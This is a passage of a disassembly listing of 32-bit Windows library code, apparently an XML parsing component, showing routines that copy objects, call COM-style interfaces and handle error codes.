; =============== S U B	R O U T	I N E =======================================



sub_69B3F51A	proc near		; DATA XREF: .text:69B124D0o
					; .text:69B22040o
		xor	eax, eax
		cmp	[ecx+8Eh], al
		jz	short loc_69B3F529
		cmp	[ecx+69h], al
		jnz	short locret_69B3F52C


loc_69B3F529:				; CODE XREF: sub_69B3F51A+8j
		xor	eax, eax
		inc	eax

locret_69B3F52C:			; CODE XREF: sub_69B3F51A+Dj
		retn
sub_69B3F51A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F52D	proc near		; DATA XREF: .text:69B1BFF4o

arg_4		= dword	ptr  8

		cmp	[esp+arg_4], 2
		jnz	short locret_69B3F53B
		mov	byte ptr [ecx+0B2h], 1

locret_69B3F53B:			; CODE XREF: sub_69B3F52D+5j
		retn	14h
sub_69B3F52D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F53E	proc near		; DATA XREF: .text:69B1248Co
					; .text:69B21FFCo

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 24h
		jmp	sub_69B1E09D
sub_69B3F53E	endp

; ---------------------------------------------------------------------------


loc_69B3F548:				; DATA XREF: .text:69B12444o
					; .text:69B21FB4o
		sub	dword ptr [esp+4], 28h
		jmp	sub_69B1E09D

; =============== S U B	R O U T	I N E =======================================



sub_69B3F552	proc near		; DATA XREF: .text:69B12478o
					; .text:69B21FE8o

arg_0		= dword	ptr  4

		sub	ecx, 4
		jmp	sub_69B3D5E1
sub_69B3F552	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F55A	proc near		; DATA XREF: .text:69B12404o
					; .text:69B21F74o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 2Ch
		jmp	sub_69B1E09D
sub_69B3F55A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F564	proc near		; CODE XREF: sub_69B3F570+3j
					; DATA XREF: .text:69B124CCo ...
		mov	ecx, [ecx+48h]
		test	ecx, ecx
		jnz	sub_69B2E875
		retn
sub_69B3F564	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F570	proc near		; DATA XREF: .text:69B12484o
					; .text:69B21FF4o
		sub	ecx, 4
		jmp	short sub_69B3F564
sub_69B3F570	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F575	proc near		; DATA XREF: .text:69B124BCo
		sub	ecx, 24h
		jmp	sub_69B3EF5A
sub_69B3F575	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F57D	proc near		; DATA XREF: .text:69B12474o
		sub	ecx, 28h
		jmp	sub_69B3EF5A
sub_69B3F57D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F585	proc near		; DATA XREF: .text:69B12434o
		sub	ecx, 2Ch
		jmp	sub_69B3EF5A
sub_69B3F585	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F58D	proc near		; DATA XREF: .text:69B1BFD0o
					; .text:69B22098o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B3DF21
		lea	ecx, [esi+0Ch]
		call	sub_69B89F54
		mov	ecx, [esp+8+arg_0]
		call	sub_69B2F43C
		push	eax
		lea	edi, [esi+48h]
		push	edi
		call	sub_69B17320
		push	edi
		lea	ecx, [esi+44h]
		call	sub_69B4D414
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	[esp+14h+arg_4]
		mov	ecx, esi
		call	sub_69B3EBE4
		pop	edi
		pop	esi
		retn	8
sub_69B3F58D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F5CF	proc near		; DATA XREF: .text:69B124C4o
					; .text:69B22034o
		push	10h
		push	offset dword_69B3F698
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		xor	ebx, ebx
		mov	[ebp-20h], ebx
		mov	[ebp-4], ebx
		lea	edi, [esi-24h]
		mov	ecx, edi
		call	sub_69B3E0AB
		lea	ecx, [esi-18h]
		call	sub_69B89F54
		push	dword ptr [ebp+8]
		push	ebx
		push	ebx
		xor	eax, eax
		mov	al, [esi+68h]
		push	eax
		mov	ecx, edi
		call	sub_69B3EBE4
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B3F63A
; ---------------------------------------------------------------------------


loc_69B3F612:				; DATA XREF: .text:69B3F69Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3F61B:				; DATA XREF: .text:69B3F6A0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-20h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-1Ch]


loc_69B3F63A:				; CODE XREF: sub_69B3F5CF+41j
		mov	dword ptr [ebp-4], 1
		push	dword ptr [ebp-20h]
		lea	ecx, [esi-24h]
		call	sub_69B3E1E4
		mov	byte ptr [esi+0A5h], 1
		jmp	short loc_69B3F67C
; ---------------------------------------------------------------------------


loc_69B3F655:				; DATA XREF: .text:69B3F6A8o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3F65E:				; DATA XREF: .text:69B3F6ACo
		mov	esp, [ebp-18h]
		cmp	dword ptr [ebp-20h], 0
		jnz	short loc_69B3F67C
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-20h], eax


loc_69B3F67C:				; CODE XREF: sub_69B3F5CF+84j
					; sub_69B3F5CF+96j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-20h], 0
		jz	short loc_69B3F68B
		call	sub_69B2E860


loc_69B3F68B:				; CODE XREF: sub_69B3F5CF+B5j
		call	sub_69B1853C
		retn	4
sub_69B3F5CF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B3F698	dd 0FFFFFFFFh			dd offset loc_69B3F612
		dd offset loc_69B3F61B
		dd 0FFFFFFFFh
		dd offset loc_69B3F655
		dd offset loc_69B3F65E

; =============== S U B	R O U T	I N E =======================================



sub_69B3F6B0	proc near		; DATA XREF: .text:69B1247Co
					; .text:69B21FECo
		push	10h
		push	offset dword_69B3F778
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		xor	ebx, ebx
		mov	[ebp-20h], ebx
		mov	[ebp-4], ebx
		lea	edi, [esi-28h]
		mov	ecx, edi
		call	sub_69B3E0AB
		lea	ecx, [esi-1Ch]
		call	sub_69B89F54
		push	ebx
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		cmp	[ebp+8], bl
		setz	al
		push	eax
		mov	ecx, edi
		call	sub_69B3EBE4
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B3F71E
; ---------------------------------------------------------------------------


loc_69B3F6F6:				; DATA XREF: .text:69B3F77Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3F6FF:				; DATA XREF: .text:69B3F780o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-20h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-1Ch]


loc_69B3F71E:				; CODE XREF: sub_69B3F6B0+44j
		mov	dword ptr [ebp-4], 1
		push	dword ptr [ebp-20h]
		lea	ecx, [esi-28h]
		call	sub_69B3E1E4
		mov	byte ptr [esi+0A1h], 1
		jmp	short loc_69B3F760
; ---------------------------------------------------------------------------


loc_69B3F739:				; DATA XREF: .text:69B3F788o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3F742:				; DATA XREF: .text:69B3F78Co
		mov	esp, [ebp-18h]
		cmp	dword ptr [ebp-20h], 0
		jnz	short loc_69B3F760
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-20h], eax


loc_69B3F760:				; CODE XREF: sub_69B3F6B0+87j
					; sub_69B3F6B0+99j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-20h], 0
		jz	short loc_69B3F76F
		call	sub_69B2E860


loc_69B3F76F:				; CODE XREF: sub_69B3F6B0+B8j
		call	sub_69B1853C
		retn	10h
sub_69B3F6B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
dword_69B3F778	dd 0FFFFFFFFh			dd offset loc_69B3F6F6
		dd offset loc_69B3F6FF
		dd 0FFFFFFFFh
		dd offset loc_69B3F739
		dd offset loc_69B3F742

; =============== S U B	R O U T	I N E =======================================



sub_69B3F790	proc near		; DATA XREF: .text:69B1BFE0o
					; .text:69B220A8o
		push	10h
		push	offset dword_69B3F888
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		and	dword ptr [ebp-20h], 0
		lea	edi, [esi+84h]
		cmp	byte ptr [edi],	0
		jz	short loc_69B3F7BA
		mov	eax, 8000000Ah
		jmp	loc_69B3F880
; ---------------------------------------------------------------------------


loc_69B3F7BA:				; CODE XREF: sub_69B3F790+1Ej
		mov	eax, [esi+60h]
		test	eax, eax
		jz	loc_69B3F87E
		mov	ecx, [esi+40h]
		cmp	ecx, 4
		jz	loc_69B3F87E
		test	ecx, ecx
		jz	loc_69B3F87E
		mov	byte ptr [edi],	1
		and	dword ptr [ebp-4], 0
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+64h]
		mov	[ebp-20h], eax
		cmp	eax, 4
		jz	short loc_69B3F810
		cmp	eax, 3
		jz	short loc_69B3F810
		mov	eax, [esi+60h]
		mov	ecx, [eax]
		mov	dl, [esi+8Ch]
		neg	dl
		sbb	edx, edx
		and	edx, 1001h
		dec	edx
		push	edx
		push	eax
		call	dword ptr [ecx+60h]
		jmp	short loc_69B3F819
; ---------------------------------------------------------------------------


loc_69B3F810:				; CODE XREF: sub_69B3F790+5Cj
					; sub_69B3F790+61j
		mov	eax, [esi+60h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+28h]


loc_69B3F819:				; CODE XREF: sub_69B3F790+7Ej
		mov	[ebp-20h], eax
		mov	ebx, 8000000Ah
		cmp	eax, ebx
		jz	short loc_69B3F872
		cmp	eax, 0C00CE551h
		jnz	short loc_69B3F838
		mov	eax, [esi+60h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+28h]
		mov	[ebp-20h], eax


loc_69B3F838:				; CODE XREF: sub_69B3F790+9Aj
		cmp	dword ptr [ebp-20h], 0C00CE550h
		jnz	short loc_69B3F846
		mov	[ebp-20h], ebx
		jmp	short loc_69B3F872
; ---------------------------------------------------------------------------


loc_69B3F846:				; CODE XREF: sub_69B3F790+AFj
		mov	byte ptr [edi],	0
		mov	ecx, esi
		call	sub_69B3EE2A
		jmp	short loc_69B3F872
; ---------------------------------------------------------------------------


loc_69B3F852:				; DATA XREF: .text:69B3F88Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3F85B:				; DATA XREF: .text:69B3F890o
		mov	esp, [ebp-18h]
		mov	ecx, [ebp-1Ch]
		lea	edi, [ecx+84h]
		mov	byte ptr [edi],	0
		push	dword ptr [ecx+60h]
		call	sub_69B3E43A


loc_69B3F872:				; CODE XREF: sub_69B3F790+93j
					; sub_69B3F790+B4j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	byte ptr [edi],	0
		mov	eax, [ebp-20h]
		jmp	short loc_69B3F880
; ---------------------------------------------------------------------------


loc_69B3F87E:				; CODE XREF: sub_69B3F790+2Fj
					; sub_69B3F790+3Bj ...
		xor	eax, eax


loc_69B3F880:				; CODE XREF: sub_69B3F790+25j
					; sub_69B3F790+ECj
		call	sub_69B1853C
		retn
sub_69B3F790	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
dword_69B3F888	dd 0FFFFFFFFh			dd offset loc_69B3F852
		dd offset loc_69B3F85B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3F894	proc near		; CODE XREF: sub_69B3F8DC+5j
					; .text:69B3F8E8j ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		call	dword_69B92948
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B3F8AE
		mov	eax, 80004005h
		jmp	short loc_69B3F8D7
; ---------------------------------------------------------------------------


loc_69B3F8AE:				; CODE XREF: sub_69B3F894+11j
		push	edi
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_C]
		push	esi
		call	sub_69B1B406
		mov	ecx, [ebp+arg_0]
		call	sub_69B3F0A6
		lea	ecx, [ebp+var_C]
		mov	edi, eax
		call	sub_69B1976C
		push	esi
		call	dword_69B92944
		mov	eax, edi
		pop	edi


loc_69B3F8D7:				; CODE XREF: sub_69B3F894+18j
		pop	esi
		leave
		retn	4
sub_69B3F894	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F8DC	proc near		; DATA XREF: .text:69B12490o
					; .text:69B22000o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 24h
		jmp	short sub_69B3F894
sub_69B3F8DC	endp

; ---------------------------------------------------------------------------


loc_69B3F8E3:				; DATA XREF: .text:69B12448o
					; .text:69B21FB8o
		sub	dword ptr [esp+4], 28h
		jmp	short sub_69B3F894

; =============== S U B	R O U T	I N E =======================================



sub_69B3F8EA	proc near		; DATA XREF: .text:69B12408o
					; .text:69B21F78o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 2Ch
		jmp	short sub_69B3F894
sub_69B3F8EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3F8F1	proc near		; CODE XREF: .text:69B3F47Ej
					; .text:69B3F4B0j ...

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B3F305
		test	[esp+4+arg_0], 1
		jz	short loc_69B3F906
		push	esi
		call	sub_69B1829F


loc_69B3F906:				; CODE XREF: sub_69B3F8F1+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B3F8F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3F90C	proc near		; CODE XREF: sub_69B3C634+17Cp
					; sub_69B3FBE9+6p

var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		push	0F0h
		mov	edi, ecx
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B3F930
		mov	ecx, eax
		call	sub_69B1BCE3
		mov	esi, eax
		jmp	short loc_69B3F932
; ---------------------------------------------------------------------------


loc_69B3F930:				; CODE XREF: sub_69B3F90C+17j
		xor	esi, esi


loc_69B3F932:				; CODE XREF: sub_69B3F90C+22j
		mov	ecx, esi
		call	sub_69B17275
		mov	ecx, edi
		mov	ebx, eax
		call	sub_69B17275
		cmp	eax, ebx
		setnz	[ebp+var_1]
		mov	eax, esi
		neg	eax
		lea	ecx, [esi+0Ch]
		sbb	eax, eax
		and	eax, ecx
		push	eax
		lea	ecx, [edi+0Ch]
		call	sub_69B89804
		cmp	[ebp+arg_0], 0
		mov	al, [edi+8Dh]
		mov	[esi+8Dh], al
		mov	al, [edi+8Ch]
		mov	[esi+8Ch], al
		mov	eax, [edi+0E4h]
		mov	[esi+0E4h], eax
		mov	eax, [edi+7Ch]
		mov	[esi+7Ch], eax
		mov	eax, [edi+80h]
		mov	[esi+80h], eax
		jz	loc_69B3FB26
		cmp	[ebp+var_1], 0
		jz	short loc_69B3F9C3
		push	dword ptr [edi+44h]
		call	sub_69B2F0C4
		lea	ecx, [esi+44h]
		push	eax
		push	ecx
		call	sub_69B17320
		push	dword ptr [edi+48h]
		call	sub_69B2F0C4
		lea	ecx, [esi+48h]
		push	eax
		push	ecx
		jmp	short loc_69B3F9D6
; ---------------------------------------------------------------------------


loc_69B3F9C3:				; CODE XREF: sub_69B3F90C+94j
		push	dword ptr [edi+44h]
		lea	eax, [esi+44h]
		push	eax
		call	sub_69B17320
		push	dword ptr [edi+48h]
		lea	eax, [esi+48h]
		push	eax


loc_69B3F9D6:				; CODE XREF: sub_69B3F90C+B5j
		call	sub_69B17320
		mov	eax, [edi+40h]
		mov	[esi+40h], eax
		lea	eax, [edi+0A8h]
		lea	ecx, [esi+0A8h]
		push	eax
		call	sub_69B4D414
		lea	eax, [edi+68h]
		push	eax
		lea	ecx, [esi+68h]
		call	sub_69B4D414
		mov	ecx, [edi+70h]
		mov	eax, [ecx]
		call	dword ptr [eax+28h]
		push	eax
		lea	ebx, [esi+70h]
		push	ebx
		call	sub_69B17320
		mov	ecx, [edi+88h]
		test	ecx, ecx
		jz	short loc_69B3FA64
		push	esi
		call	sub_69B8BF13
		lea	ecx, [esi+88h]
		push	eax
		push	ecx
		call	sub_69B17320
		cmp	[ebp+var_1], 0
		jz	short loc_69B3FA64
		mov	eax, [edi+88h]
		mov	eax, [eax+5Ch]
		test	eax, eax
		jz	short loc_69B3FA64
		mov	edx, [eax+0Ch]
		mov	eax, [eax+8]
		mov	ebx, [ebx]
		push	edx
		push	0
		push	eax
		mov	ecx, ebx
		call	sub_69B3DA18
		push	eax
		mov	eax, [esi+88h]
		add	eax, 5Ch
		push	eax
		call	sub_69B17320


loc_69B3FA64:				; CODE XREF: sub_69B3F90C+10Dj
					; sub_69B3F90C+126j ...
		mov	ecx, [ebp+arg_4]
		test	ecx, ecx
		mov	eax, [esi+50h]
		mov	ebx, [esi+4Ch]
		mov	[ebp+var_1C], 0
		mov	[ebp+var_18], esi
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], 1
		jz	short loc_69B3FA83
		mov	eax, [ecx]
		jmp	short loc_69B3FA85
; ---------------------------------------------------------------------------


loc_69B3FA83:				; CODE XREF: sub_69B3F90C+171j
		xor	eax, eax


loc_69B3FA85:				; CODE XREF: sub_69B3F90C+175j
		test	eax, eax
		mov	dl, [ebp+var_1]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], dl
		jz	short loc_69B3FB09
		mov	eax, [eax+8]
		shr	eax, 0Ah
		test	al, 1
		jz	short loc_69B3FB09
		mov	edi, [ecx]
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0F4h]
		jmp	short loc_69B3FAB6
; ---------------------------------------------------------------------------


loc_69B3FAAA:				; CODE XREF: sub_69B3F90C+1ACj
		mov	edx, [eax]
		mov	ecx, eax
		mov	edi, eax
		call	dword ptr [edx+0F4h]


loc_69B3FAB6:				; CODE XREF: sub_69B3F90C+19Cj
		test	eax, eax
		jnz	short loc_69B3FAAA
		mov	al, [edi+0Bh]
		and	al, 1Fh
		cmp	al, 11h
		lea	eax, [ebp+var_1C]
		mov	ecx, edi
		push	eax
		jnz	short loc_69B3FAD5
		push	ebx
		push	0
		push	1
		call	sub_69B49816
		jmp	short loc_69B3FAE4
; ---------------------------------------------------------------------------


loc_69B3FAD5:				; CODE XREF: sub_69B3F90C+1BBj
		push	1
		call	sub_69B497AC
		push	eax
		mov	ecx, ebx
		call	sub_69B483A4


loc_69B3FAE4:				; CODE XREF: sub_69B3F90C+1C7j
		xor	edi, edi
		push	edi
		lea	eax, [esi+44h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+48h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+0A8h]
		push	eax
		call	sub_69B17320
		jmp	short loc_69B3FB1A
; ---------------------------------------------------------------------------


loc_69B3FB09:				; CODE XREF: sub_69B3F90C+184j
					; sub_69B3F90C+18Ej
		mov	ecx, [edi+4Ch]
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		push	0
		push	1
		call	sub_69B49816


loc_69B3FB1A:				; CODE XREF: sub_69B3F90C+1FBj
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_69B3FB26
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx


loc_69B3FB26:				; CODE XREF: sub_69B3F90C+8Aj
					; sub_69B3F90C+213j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B3F90C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B3FB2F(LPCWSTR lpString)

sub_69B3FB2F	proc near		; CODE XREF: sub_69B57792+80p

var_4		= dword	ptr -4
lpString	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		push	0
		push	offset dword_69B3FBE0 ;	lpMultiByteStr
		mov	edi, ecx
		call	sub_69B1D494
		push	eax
		push	[ebp+lpString]	; lpString
		call	sub_69B1A587
		push	eax
		push	offset dword_69B3FBD8 ;	lpMultiByteStr
		call	sub_69B1D494
		push	eax
		call	sub_69B2F2CA
		add	esp, 10h
		push	0F0h
		mov	[ebp+lpString],	eax
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B3FB7C
		mov	ecx, eax
		call	sub_69B1BCE3
		mov	esi, eax
		jmp	short loc_69B3FB7E
; ---------------------------------------------------------------------------


loc_69B3FB7C:				; CODE XREF: sub_69B3FB2F+40j
		xor	esi, esi


loc_69B3FB7E:				; CODE XREF: sub_69B3FB2F+4Bj
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, esi
		mov	byte ptr [esi+8Dh], 1
		mov	dword ptr [esi+40h], 4
		call	sub_69B3DE0E
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax+0B8h], 1
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		push	[ebp+lpString]
		mov	ecx, esi
		call	sub_69B3F10D
		push	0
		mov	ecx, esi
		call	sub_69B3DC8C
		mov	edx, [edi+50h]
		push	0
		push	edx
		push	edi
		push	0
		push	1
		mov	ecx, eax
		call	sub_69B3D586
		pop	edi
		pop	esi
		leave
		retn	4
sub_69B3FB2F	endp

; ---------------------------------------------------------------------------
		align 4
; char dword_69B3FBD8[]
dword_69B3FBD8	dd 6D783F3Ch, 9000206Ch; char dword_69B3FBE0[]
dword_69B3FBE0	dd 783C3E3Fh, 3E2F6C6Dh		db 0

; =============== S U B	R O U T	I N E =======================================



sub_69B3FBE9	proc near		; DATA XREF: .text:69B1BFBCo
					; .text:69B22084o

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_69B3F90C
		retn	4
sub_69B3FBE9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3FBF7	proc near		; CODE XREF: sub_69B40A6C+55p
					; sub_69B40CBC+5Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		push	[esp+8+arg_0]
		lea	ecx, [esi+8]
		call	sub_69B1B552
		push	[esp+4+arg_4]
		mov	ecx, esi
		push	0
		push	[esp+0Ch+arg_0]
		call	sub_69B4639C
		mov	eax, esi
		pop	esi
		retn	8
sub_69B3FBF7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3FC21	proc near		; CODE XREF: sub_69B40658+43p
					; sub_69B406DD+66p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		push	[esp+8+arg_0]
		lea	ecx, [esi+4]
		call	sub_69B1B552
		push	[esp+4+arg_4]
		mov	ecx, esi
		push	0
		push	[esp+0Ch+arg_0]
		call	sub_69B18B65
		mov	eax, esi
		pop	esi
		retn	8
sub_69B3FC21	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3FC4B	proc near		; CODE XREF: sub_69B6C1E9+1FBp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, dword_69B984E8[eax*4]
		retn	4
sub_69B3FC4B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3FC59	proc near		; CODE XREF: sub_69B1E570+5BEFp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short locret_69B3FC6A
		lea	ecx, [eax+0Ch]
		mov	eax, [ecx]
		push	1
		call	dword ptr [eax]

locret_69B3FC6A:			; CODE XREF: sub_69B3FC59+6j
		retn	4
sub_69B3FC59	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3FC6D	proc near		; CODE XREF: sub_69B41180+38p
					; sub_69B43E46+13p
		push	esi
		push	edi
		mov	edi, ecx
		lea	esi, [edi+20h]
		cmp	dword ptr [esi], 0
		jnz	short loc_69B3FCA6
		push	30h
		call	sub_69B1D897
		test	eax, eax
		jz	short loc_69B3FC90
		push	edi
		mov	ecx, eax
		call	sub_69B53388
		mov	edi, eax
		jmp	short loc_69B3FC92
; ---------------------------------------------------------------------------


loc_69B3FC90:				; CODE XREF: sub_69B3FC6D+15j
		xor	edi, edi


loc_69B3FC92:				; CODE XREF: sub_69B3FC6D+21j
		push	0
		push	edi
		push	esi
		call	dword_69B92950	; InterlockedCompareExchange
		test	eax, eax
		jz	short loc_69B3FCA6
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+8]


loc_69B3FCA6:				; CODE XREF: sub_69B3FC6D+Aj
					; sub_69B3FC6D+31j
		mov	eax, [esi]
		pop	edi
		pop	esi
		retn
sub_69B3FC6D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3FCAB	proc near		; DATA XREF: .data:69B98B6Co

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		lea	ecx, [eax+0Ch]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		retn	4
sub_69B3FCAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3FCBB	proc near		; DATA XREF: .data:69B98BBCo

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		lea	ecx, [eax+24h]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		retn	4
sub_69B3FCBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3FCCB	proc near		; DATA XREF: .data:69B98BE4o
					; .data:69B98CACo ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		lea	ecx, [eax+8]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		retn	4
sub_69B3FCCB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3FCDB	proc near		; DATA XREF: .data:69B98B44o
					; .data:69B98C0Co

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		lea	ecx, [eax+10h]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		retn	4
sub_69B3FCDB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3FCEB	proc near		; DATA XREF: .data:69B98C34o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		lea	ecx, [eax+18h]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		retn	4
sub_69B3FCEB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3FCFB	proc near		; DATA XREF: .data:69B98CD4o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		lea	ecx, [eax+20h]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		retn	4
sub_69B3FCFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3FD0B	proc near		; DATA XREF: .data:69B98C5Co

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		lea	ecx, [eax+1Ch]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		retn	4
sub_69B3FD0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3FD1B	proc near		; DATA XREF: .data:69B98D74o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		lea	ecx, [eax+4]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		retn	4
sub_69B3FD1B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3FD2B	proc near		; DATA XREF: .data:69B98DC4o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		lea	ecx, [eax+14h]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		retn	4
sub_69B3FD2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3FD3B	proc near		; DATA XREF: .data:69B98B18o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		add	eax, 0FFFFFF9Fh
		cmp	eax, 9		; switch 10 cases
		push	esi
		push	edi
		ja	loc_69B3FE79	; default
					; jumptable 69B3FD50 case 1
		jmp	ds:off_69B3FE85[eax*4] ; switch	jump


loc_69B3FD57:				; DATA XREF: .text:off_69B3FE85o
		mov	edx, [ebp+arg_10] ; jumptable 69B3FD50 case 0
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+0ACh]
		jmp	loc_69B3FE7E
; ---------------------------------------------------------------------------


loc_69B3FD6F:				; CODE XREF: sub_69B3FD3B+15j
					; DATA XREF: .text:off_69B3FE85o
		mov	eax, [ebp+arg_8] ; jumptable 69B3FD50 case 2
		test	byte ptr [eax+1], 40h
		mov	eax, [eax+8]
		jz	short loc_69B3FD7D
		mov	eax, [eax]


loc_69B3FD7D:				; CODE XREF: sub_69B3FD3B+3Ej
		push	[ebp+arg_10]
		mov	ecx, [ebp+arg_0]
